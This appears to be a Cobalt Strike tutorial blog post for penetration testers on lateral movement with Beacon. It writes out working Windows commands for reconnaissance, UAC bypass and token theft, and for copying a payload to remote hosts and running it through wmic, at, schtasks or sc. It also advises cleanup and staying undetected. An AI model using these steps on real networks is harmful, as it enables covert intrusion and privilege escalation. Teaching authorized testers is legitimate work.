High latency communication allows you to conduct operations on your target’s network, without detection, for a long time. An example of high-latency communication is a bot that phones home to an attacker’s web server to request instructions once each day.
High latency communication is common with advanced threat malware. It’s not common in penetration testing tools. I designed Cobalt Strike’s Beacon to provide penetration testers with a robust payload for high-latency communication. Today, you can conduct much of your engagement through Beacon.
In this post, I’ll show you how to abuse trust relationships to move laterally with Beacon. You will learn how to find targets with built-in Windows commands, escalate privileges, impersonate access tokens, and use the rights a token holds to run code on a remote system. I’ll show you how to carry out each of these steps from a Beacon configured with a high sleep time.
Beacon’s shell command will run a command on a host and post its output back to you. You can do a lot with this command alone. For example, to find out which domain you’re on:
shell net view /DOMAIN
To see Windows hosts on the same domain with some sort of sharing enabled, use:
shell net view /DOMAIN:domain
At this point, we have a few targets to work with. The next step is to check if the current user is a local administrator on any of these systems. To check your rights, try to access an admin-only share on a target host:
shell dir \\host\C$
If you get a directory listing, then your user is a local admin. You’re ready to get code execution.
If your current user isn’t a local admin on a target system, then you will need to escalate your privileges to go further. To start this process, I like to use whoami /groups to find out which groups my current user is in. You can do this with the shell command too.
shell whoami /groups
If I’m living in a standard user context (a medium integrity process), but my user is a local admin on the current host—there’s an opportunity to escalate. Beacon includes its own version of the bypassuac attack that’s built for this situation. Bypass UAC elevates you from a medium integrity context to a high integrity context. The command to do this in Beacon is bypassuac.
bypassuac beacon listener
At this point, you will get a new Beacon. If all went well, this Beacon will show a * next to the username. This * is Beacon’s way to tell you that it’s running in a high integrity context. Remote Access Tools built for an XP world tend to omit this information. On a modern target, you have to know whether you’re in a high or medium integrity process.
Now that we’re in a high integrity process, we can look for tokens to steal. An access token is a data structure that tracks the user’s rights and, if applicable, other information needed for single sign-on to work. There are different types of tokens, but I’d like to call your attention to impersonation and delegation tokens. An impersonation token allows a process or thread to carry out actions as the identified user on the current system. A delegation token allows a process or thread to carry out actions as the identified user on remote systems on the same domain.
shell tasklist /v
Each process will have a user associated with it. If you see a process run by another domain user, use Beacon’s steal_token command to impersonate that token.
You may now execute commands with the security context of the stolen token. Try to see if the impersonated user is a local admin on other systems within your reach. If the user is an admin elsewhere, we’re in luck and we can try to get code execution.
How do we get code execution on a remote host? Copy a file to the remote host and schedule it to run. These steps raise a question though. What do we want to copy and run? You could export an executable for Beacon that talks to your command and control server. I will caution you against this though.
As an attacker, you do not want every compromised system to call home to your command and control infrastructure on the internet. Some hosts can’t talk out to the internet. Other hosts (e.g., domain controllers) may get more attention from a network security monitoring team.
Not all Beacons have to connect to the internet. You may link Beacons together in a way that allows each Beacon to get its tasks and send output through its parent Beacon. Cobalt Strike’s Beacon uses named pipes to do this.
If you want to stay quiet, I recommend that you export a fully staged SMB Beacon and copy it to your target’s host and schedule it to run. A staged artifact is beneficial as it does not need to connect to us over the internet to download the rest of itself. Go to Attacks -> Packages -> Windows Executable (S) to export a fully staged Beacon. Choose the SMB Beacon as your Beacon type and select the type of output you would like. You may export a (staged) Beacon as a PowerShell script, DLL, executable, or Windows service executable. Press Launch and save the artifact.
To copy a file, change Beacon’s current working directory to a folder that you can write to. If you’re a local admin in a high integrity context, try c:\windows\temp.
Use Beacon’s cd command to change the current directory:
Use Beacon’s upload command to select a file from your local system and upload it to the current directory:
To copy the uploaded file to the remote system, use the shell command. This command will copy foobar.exe to c:\windows\temp on the remote host.
shell copy foobar.exe \\host\C$\windows\temp
Beacon queues its commands. If you have a high sleep time, don’t worry about typing one command at a time and waiting for output. Issue every command that you can think of. When Beacon checks in next, it will grab its tasking, execute the actions you gave it, and show the output to you.
Remote Code Execution
We need to to run foobar.exe on our target. There are many ways to do this. Here are four methods that I recommend that you learn about.
You may use wmic to run a process on a remote host. Here’s the syntax to do it:
shell wmic /node:host process call create “c:\windows\temp\foobar.exe”
You may also schedule a program to run with at. The at command is deprecated by Windows 8. You will not be able to use this option from or against a Windows 8 target. That said, the syntax for this option is easy to remember.
First, find out what time it is on the remote system:
shell net time \\host
Next, use at to schedule foobar.exe to run sometime in the near future.
shell at \\host HH:MM c:\windows\temp\foobar.exe
Another option to run code on a target system is schtasks. The syntax for schtasks is a little more complicated, but why not:
shell schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe /sc once /st 00:00 /S host /RU System shell schtasks /run /tn foobar /S host
You should clean up your task after it executes. Here’s the syntax to do that:
shell schtasks /F /delete /tn foobar /S host
A fourth option to execute a program on a remote host is to create a service and start it. You may use the sc command to do this:
shell sc \\host create foobar binpath= “c:\windows\temp\foobar.exe” shell sc \\host start foobar
The sc command requires an executable that responds to Service Control Manager commands. If you do not provide such an executable, your program will run, and then immediately exit. Cobalt Strike’s dialog to generate a staged executable gives you the option to generate a Service Executable. Make sure you pay attention to this detail.
Here’s the syntax to delete your service after it runs:
shell sc \\host delete foobar
Once an SMB Beacon is run on a remote system, you may gain control of it with Beacon’s link command. From Beacon, use:
This command will instruct the current Beacon to link to the remote Beacon over the SMB protocol. You will see a new Beacon show up in the Beacon console with the parent Beacon listed as its external address. From here, you may repeat this entire process. Look for tokens, impersonate them, see where you’re an administrator, and try to take those systems. That’s it.
Part 7 of Cobalt Strike’s Tradecraft course covers lateral movement as well.